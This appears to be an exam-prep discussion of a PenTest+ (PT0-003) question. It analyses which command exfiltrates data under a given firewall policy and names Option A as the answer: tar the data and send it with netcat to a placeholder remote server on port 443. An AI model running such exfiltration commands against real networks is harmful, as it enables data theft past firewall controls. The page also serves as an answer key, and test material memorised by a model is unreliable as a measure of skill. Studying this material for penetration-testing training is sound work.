Question 22 - PT0-003 discussion

Given the firewall policy, let's analyze the commands provided and determine which one is suitable for exfiltrating data through the allowed network traffic. The firewall policy rules are:

Block: Any traffic from 192.168.10.0/24 to 10.0.0.0/24 on port 22 (TCP).

Allow: All traffic (0.0.0.0/0) to 192.168.10.0/24 on port 443 (TCP).

Allow: Traffic from 192.168.10.0/24 to anywhere on port 443 (TCP).

Block: All other traffic (*).

Breakdown of Options:

Option A: tar -zcvf /tmp/data.tar.gz /path/to/data && nc -w 3 <remote_server> 443 < /tmp/data.tar.gz

This command compresses the data into a tar.gz file and uses nc (netcat) to send it to a remote server on port 443.

Since the firewall allows outbound connections on port 443 (both within and outside the subnet 192.168.10.0/24), this command adheres to the policy and is the correct choice.

Option B: gzip /path/to/data && cp data.gz <remote_server> 443

This command compresses the data but attempts to copy it directly to a server, which is not a valid command. The cp command does not support network operations in this manner.

Option C: gzip /path/to/data && nc -nvlk 443; cat data.gz | nc -w 3 <remote_server> 22

This command attempts to listen on port 443 and then send data over port 22. However, outbound connections to port 22 are blocked by the firewall, making this command invalid.

Option D: tar -zcvf /tmp/data.tar.gz /path/to/data && scp /tmp/data.tar.gz <remote_server>

This command uses scp to copy the file, which typically uses port 22 for SSH. Since the firewall blocks port 22, this command will not work.

Reference from Pentest:

Gobox HTB: The Gobox write-up emphasizes the use of proper enumeration and leveraging allowed services for exfiltration. Specifically, using tools like nc for data transfer over allowed ports, similar to the method in Option A.

Forge HTB: This write-up also illustrates how to handle firewall restrictions by exfiltrating data through allowed ports and protocols, emphasizing understanding firewall rules and using appropriate commands like curl and nc.

Horizontall HTB: Highlights the importance of using allowed services and ports for data exfiltration. The approach taken in Option A aligns with the techniques used in these practical scenarios where nc is used over an allowed port.